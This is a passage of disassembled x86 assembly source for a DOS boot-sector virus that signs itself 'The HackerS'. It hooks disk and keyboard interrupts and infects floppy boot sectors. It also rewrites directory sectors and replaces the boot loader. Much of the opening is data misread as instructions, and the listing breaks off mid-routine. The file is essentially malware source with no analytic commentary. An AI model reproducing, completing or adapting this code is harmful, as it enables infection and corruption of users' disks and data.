stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,byte ptr ds:[0F600h]
and ax,28h
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,byte ptr ds:[2800h]
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,byte ptr ds:[0AA0Ah]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add ch,[bp+si+0AAh]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0181e
add [bx+si],al
add [bp+si-5556h],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
mov al,ds:data_0182e
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0185e
add byte ptr [bx+si],0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bx+si],al
add [bp+si+0AAh],ch
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,byte ptr ds:[0AA0Ah]
mov al,ds:data_0033e
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bx+si],al
add ch,[bp+si+0A8h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
or ch,[bp+si-5556h]
add byte ptr [bx+si],0
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0183e
test al,0
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
sub ch,[bp+si+0A0h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bp+si-7F56h],ch
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bx+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add ch,[bp+si+0AAh]
add [bx+si],al
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
mov al,byte ptr data_0041+40h ; (' ')
stosb ; Store al to es:[di]
test al,0
add ch,[bp+si+0A0h]
or ch,[bp+si+0A0h]
add [bp+si-5556h],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
or ch,[bp+si+80h]
mul byte ptr [si] ; ax = data * al
sub [bx+si],al
add [bx+si],al
sub ch,[bp+si+200h]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add ch,[bp+si+0A8h]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
add byte ptr [bx+si],0
add [bx+si],al
or ch,[bp+si+80h]
add [bx+si],al
add ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],2Ah ; '*'
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
sub ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
or ch,[bp+si-5556h]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0161e
test al,0
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
stosb ; Store al to es:[di]
test al,0
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0A0h]
add [bx+si],al
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,byte ptr data_0041+40h ; (' ')
stosb ; Store al to es:[di]
mov al,byte ptr data_0041+40h ; (' ')
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bx+si],al
sub ch,[bp+si+0A0h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si-7F56h]
add [bx+si],al
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0033e
sub al,[bx+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add ch,[bp+si+0A8h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si-5556h],ch
add [bx+si],al
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
or ch,[bp+si+0A8h]
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0179e
or [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bp+si+0AAh],ch
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
or ch,[bp+si+80h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,byte ptr ds:[0A00Ah]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add dh,dh
and bp,[bx+si]
add [bx+si],al
push ax
push bx
push cx
push dx
cmp data_0045,1
jne loc_0021 ; Jump if not equal
cmp data_0044,0
je loc_0022 ; Jump if equal
loc_0021:
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0022 ; Jump if carry Set
mov dh,data_0044
mov dl,byte ptr cs:[529h]
mov cx,data_0045
mov bx,200h
mov ax,201h
int 6Fh ; ??int non-standard interrupt
loc_0022:
pop dx
pop cx
pop bx
pop ax
retn
sub_0003 endp
db 50h, 53h, 51h, 52h, 32h
dw 0CDE4h ; Data table (indexed access)
db 6Fh
dw 1272h ; Data table (indexed access)
db 32h,0F6h, 2Eh, 8Ah, 16h, 29h
db 05h,0B9h, 21h, 28h,0BBh, 00h
db 02h,0B8h, 01h, 02h,0CDh, 6Fh
db 5Ah, 59h, 5Bh, 58h,0C3h, 50h
db 53h, 51h, 52h, 32h,0E4h,0CDh
db 6Fh, 72h, 1Ah, 32h,0F6h, 8Ah
db 16h, 29h, 05h,0B5h, 28h,0BBh
db 7Ch, 06h,0B8h, 09h, 05h,0CDh
db 6Fh, 73h, 05h,0F6h,0C4h, 82h
db 75h, 03h
db 0E8h, 29h, 00h
db 5Ah, 59h, 5Bh, 58h,0C3h, 28h
db 00h, 21h, 02h, 28h, 00h, 22h
db 02h, 28h, 00h, 23h, 02h, 28h
db 00h, 24h, 02h, 28h, 00h, 25h
db 02h, 28h, 00h, 26h, 02h, 28h
db 00h, 27h, 02h, 28h, 00h, 28h
db 02h, 28h, 00h, 29h, 02h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0005 proc near
push ax
push bx
push cx
push dx
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0026 ; Jump if carry Set
xor dh,dh ; Zero register
mov dl,byte ptr ds:[529h]
mov cx,2821h
mov bx,200h
mov ax,309h
int 6Fh ; ??int non-standard interrupt
jnc loc_0025 ; Jump if carry=0
test ah,82h
jnz loc_0026 ; Jump if not zero
loc_0025:
xor bx,bx ; Zero register
call sub_0006
cmp cs:data_0050,3
jb loc_0026 ; Jump if below
call sub_0007
loc_0026:
pop dx
pop cx
pop bx
pop ax
retn
sub_0005 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0006 proc near
push ax
push cx
push dx
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0027 ; Jump if carry Set
xor dh,dh ; Zero register
mov dl,byte ptr cs:[529h]
mov cx,1
mov ax,301h
int 6Fh ; ??int non-standard interrupt
loc_0027:
pop dx
pop cx
pop ax
retn
sub_0006 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0007 proc near
;* jmp short loc_0028 ;*
db 0EBh, 10h
nop
pop cx
stc ; Set carry flag
inc bx
stc ; Set carry flag
xor cx,di
inc bp
stc ; Set carry flag
push dx
stc ; Set carry flag
push ax
add [bx+si],al
push es
add [bx+si+53h],dx
push cx
push dx
push ds
push es
push si
push di
mov al,byte ptr ds:[529h]
mov byte ptr ds:[701h],al
mov byte ptr ds:[704h],1
mov byte ptr ds:[702h],0
mov byte ptr ds:[703h],6
loc_0029:
mov dh,byte ptr ds:[702h]
mov dl,byte ptr ds:[701h]
xor ch,ch ; Zero register
mov cl,byte ptr ds:[703h]
lea bx,cs:[1277h] ; Load effective addr
mov ax,201h
int 6Fh ; ??int non-standard interrupt
xor bx,bx ; Zero register
loc_0030:
mov al,byte ptr ds:[1282h][bx]
test al,8
jz loc_0031 ; Jump if zero
or byte ptr ds:[1282h][bx],9
lea si,ds:[6F6h] ; Load effective addr
lea di,[bx+1277h] ; Load effective addr
mov cx,0Bh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
xor al,al ; Zero register
lea di,[bx+1283h] ; Load effective addr
mov cx,14h
stosb ; Store al to es:[di]
call sub_0008
jmp short loc_0035
db 90h
loc_0031:
add bx,20h
cmp bx,200h
jae loc_0032 ; Jump if above or =
jmp short loc_0030
loc_0032:
cmp byte ptr ds:[703h],9
jb loc_0033 ; Jump if below
xor byte ptr ds:[702h],1
mov byte ptr ds:[703h],1
jmp short loc_0034
loc_0033:
inc byte ptr ds:[703h]
loc_0034:
inc byte ptr ds:[704h]
cmp byte ptr ds:[704h],7
ja loc_0035 ; Jump if above
jmp short loc_0029
loc_0035:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_0007 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0008 proc near
push ax
push bx
push cx
push dx
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0036 ; Jump if carry Set
mov dh,byte ptr ds:[702h]
mov dl,byte ptr ds:[701h]
xor ch,ch ; Zero register
mov cl,byte ptr ds:[703h]
lea bx,cs:[1277h] ; Load effective addr
mov ax,301h
int 6Fh ; ??int non-standard interrupt
loc_0036:
pop dx
pop cx
pop bx
pop ax
retn
sub_0008 endp
db 0E9h, 0Bh
db 0Ah, 'The HackerS'
db 00h, 00h, 00h, 00h,0AAh,0A8h
db 00h,0AAh,0A0h, 00h, 00h, 00h
db 00h, 0Ah,0AAh,0AAh,0AAh,0AAh
db 0AAh,0A0h, 00h, 20h, 00h, 00h
db 00h, 00h, 00h, 0Ah,0AAh, 80h
db 00h, 00h, 00h, 02h
db 7 dup (0AAh)
db 0A8h, 00h, 2Ah,0AAh, 00h, 00h
db 0F6h, 22h, 28h, 00h, 00h,0EBh
db 66h, 90h, 21h, 00h, 02h, 87h
db 0E9h, 00h,0F0h, 91h, 08h, 00h
db 0C8h, 00h, 00h
db ' Welcome to the'
db ' C l u b --The HackerS--'
db ' Hackin', 27h, ' All T'
db 'he Time '
db 00h, 00h,0FFh,0FFh, 00h, 7Ch
db 00h
db 00h, 9Ch, 50h, 1Eh, 06h, 56h
db 57h, 33h,0C0h, 8Eh,0D8h, 8Eh
db 0C0h, 2Eh,0C6h, 06h, 05h, 04h
db 08h,0A1h, 4Ch, 00h, 3Dh, 26h
db 05h, 74h, 3Fh,0FAh, 2Eh,0FFh
db 06h, 03h, 04h,0A1h, 4Ch, 00h
db 0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah
db 04h,0A1h, 4Eh, 00h,0A3h,0BEh
db 01h, 2Eh,0A3h, 0Ch, 04h,0B8h
db 26h, 05h,0A3h, 4Ch, 00h, 8Ch
db 0C8h,0A3h, 4Eh, 00h,0A1h, 24h
db 00h, 2Eh,0A3h, 06h, 04h,0A1h
db 26h, 00h, 2Eh,0A3h, 08h, 04h
db 0C7h, 06h, 24h, 00h,0D9h, 04h
db 8Ch,0C8h,0A3h, 26h, 00h,0FBh
loc_0039:
push cs
pop ds
mov si,offset data_0041+40h ; (' ')
mov di,data_0011e
mov cx,200h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop di
pop si
pop es
pop ds
pop ax
popf ; Pop flags
jmp cs:data_0057
sti ; Enable interrupts
push ax
push cx
push ds
pushf ; Push flags
xor ax,ax ; Zero register
mov ds,ax
in al,60h ; port 60h, keybd scan or sw1
test al,80h
jnz loc_0042 ; Jump if not zero
mov ah,ds:keybd_flags_1_
test ah,8
jz loc_0042 ; Jump if zero
test ah,4
jz loc_0042 ; Jump if zero
cmp al,53h ; 'S'
jne loc_0040 ; Jump if not equal
cmp byte ptr ds:video_mode_,7
je loc_0041 ; Jump if equal
cmp cs:data_0050,3
jb loc_0041 ; Jump if below
;* call sub_0017 ;*
db 0E8h,0B7h, 02h
jmp short loc_0041
loc_0040:
cmp al,3Fh ; '?'
jne loc_0042 ; Jump if not equal
loc_0041:
mov word ptr ds:warm_boot_flag_,1234h
jmp cs:data_0056
loc_0042:
popf ; Pop flags
pop ds
pop cx
pop ax
jmp dword ptr cs:data_0052
;* jmp short loc_0044 ;*
db 0EBh, 0Ah
add [bx+di],al
add [bx+di],al
jo loc_0043 ; Jump if overflow=1
loc_0043:
popf ; Pop flags
adc [bp+si],ax
add ds:data_0010e[si],bx
push si
push di
push cs
pop ds
mov byte ptr ds:[528h],dh
mov byte ptr ds:[529h],dl
mov byte ptr ds:[52Ah],ch
mov byte ptr ds:[52Bh],cl
mov word ptr ds:[52Ch],es
mov word ptr ds:[52Eh],bx
mov byte ptr ds:[530h],ah
mov byte ptr data_0066,al ; ('WS EXE ')
cmp ah,2
jb loc_0045 ; Jump if below
cmp ah,5
ja loc_0045 ; Jump if above
cmp dl,1
ja loc_0045 ; Jump if above
cmp ch,0
jne loc_0045 ; Jump if not equal
cmp dh,0
jne loc_0045 ; Jump if not equal
dec cs:data_0051
jz loc_0046 ; Jump if zero
loc_0045:
jmp short loc_0047
loc_0046:
push cs
pop es
mov cs:data_0051,2
call sub_0009
loc_0047:
mov dh,byte ptr ds:[528h]
mov dl,byte ptr ds:[529h]
mov ch,byte ptr ds:[52Ah]
mov cl,byte ptr ds:[52Bh]
mov es,word ptr ds:[52Ch]
mov bx,word ptr ds:[52Eh]
mov ah,byte ptr ds:[530h]
mov al,byte ptr data_0066 ; ('WS EXE ')
pop di
pop si
pop es
pop ds
popf ; Pop flags
jmp dword ptr cs:data_0054
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0009 proc near
push ax
push bx
push cx
push dx
xor ah,ah ; Zero register
int 6Fh ; ??int non-standard interrupt
jc loc_0050 ; Jump if carry Set
xor dh,dh ; Zero register
mov dl,byte ptr cs:[529h]
mov cx,1
mov bx,200h
mov ax,201h
int 6Fh ; ??int non-standard interrupt
jc loc_0050 ; Jump if carry Set
cmp data_0047,537Ch
je loc_0050 ; Jump if equal
cmp data_0046,0FAFAh
je loc_0048 ; Jump if equal
cmp data_0043,1234h
jne loc_0049 ; Jump if not equal
call sub_0010
jc loc_0050 ; Jump if carry Set
jmp short loc_0049
loc_0048:
;* call sub_0011 ;*
db 0E8h, 44h, 00h
jc loc_0050 ; Jump if carry Set
loc_0049:
mov bx,200h
;* call sub_0013 ;*
db 0E8h,0E1h, 00h
jc loc_0050 ; Jump if carry Set
;* call sub_0012 ;*
db 0E8h, 58h, 00h
loc_0050:
pop dx
pop cx
pop bx
pop ax
retn
sub_0009 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0010 proc near
mul byte ptr [bx+di] ; ax = data * al
sub [bx+si],al
add bl,ch
xor al,90h
dec cx
inc dx
dec bp
and [bx+si],ah
xor bp,ds:data_0036e
add al,[bp+si]
add [bx+si],ax
add dh,[bx+si+0]
rol byte ptr [bp+si],1 ; Rotate
std ; Set direction flag
add al,[bx+si]
or [bx+si],ax
add al,[bx+si]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si],dl
add [bx+si],al
add [bx+si],al
add [bx+si],ax
cli ; Disable interrupts
xor ax,ax ; Zero register
mov ss,ax
mov sp,7C00h
push ss
pop es
mov bx,data_0005e
lds si,dword ptr ss:[bx] ; Load 32 bit ptr
push ds
push si
push ss
push bx
mov di,data_0022e
mov cx,0Bh
cld ; Clear direction
locloop_0051:
lodsb ; String [si] to al
cmp byte ptr es:[di],0
je loc_0052 ; Jump if equal
mov al,es:[di]
loc_0052:
stosb ; Store al to es:[di]
mov al,ah
loop locloop_0051 ; Loop if cx > 0
push es
pop ds
mov [bx+2],ax
mov word ptr [bx],7C2Bh
sti ; Enable interrupts
int 13h ; Disk dl=drive ? ah=func 00h
; reset disk, al=return status
jc loc_0055 ; Jump if carry Set
mov al,ds:data_0014e
cbw ; Convrt byte to word
mul word ptr ds:data_0017e ; ax = data * ax
add ax,ds:data_0020e
add ax,ds:data_0013e
mov ds:data_0028e,ax
mov ds:data_0023e,ax
mov ax,20h
mul word ptr ds:data_0015e ; ax = data * ax
mov bx,ds:data_0012e
add ax,bx
dec ax
div bx ; ax,dx rem=dx:ax/reg
add ds:data_0023e,ax
mov bx,500h
mov ax,ds:data_0028e
call sub_0015
mov ax,201h
call sub_0016
jc loc_0053 ; Jump if carry Set
mov di,bx
mov cx,0Bh
mov si,data_0030e
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jnz loc_0053 ; Jump if not zero
lea di,[bx+20h] ; Load effective addr
mov si,data_0031e
mov cx,0Bh
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jz loc_0056 ; Jump if zero
loc_0053:
mov si,data_0029e
loc_0054:
call sub_0014
xor ah,ah ; Zero register
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
pop si
pop ds
pop word ptr [si]
pop word ptr [si+2]
int 19h ; Bootstrap loader
loc_0055:
mov si,7DC0h
jmp short loc_0054
loc_0056:
mov ax,ds:data_0009e
xor dx,dx ; Zero register
div word ptr ds:data_0012e ; ax,dxrem=dx:ax/data
inc al
mov ds:data_0026e,al
mov ax,ds:data_0023e
mov ds:data_0027e,ax
mov bx,700h
loc_0057:
mov ax,ds:data_0023e
call sub_0015
mov ax,ds:data_0018e
sub al,ds:data_0025e
inc ax
cmp ds:data_0026e,al
jae loc_0058 ; Jump if above or =
mov al,ds:data_0026e
loc_0058:
push ax
call sub_0016
pop ax
jc loc_0055 ; Jump if carry Set
sub ds:data_0026e,al
jz loc_0059 ; Jump if zero
add ds:data_0023e,ax
mul word ptr ds:data_0012e ; ax = data * ax
add bx,ax
jmp short loc_0057
loc_0059:
mov ch,ds:data_0016e
mov dl,ds:data_0032e
mov bx,ds:data_0027e
;* jmp far ptr loc_0001 ;*
sub_0010 endp
db 0EAh, 00h, 00h, 70h, 00h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0014 proc near
loc_0060:
lodsb ; String [si] to al
or al,al ; Zero ?
jz loc_ret_0061 ; Jump if zero
mov ah,0Eh
mov bx,7
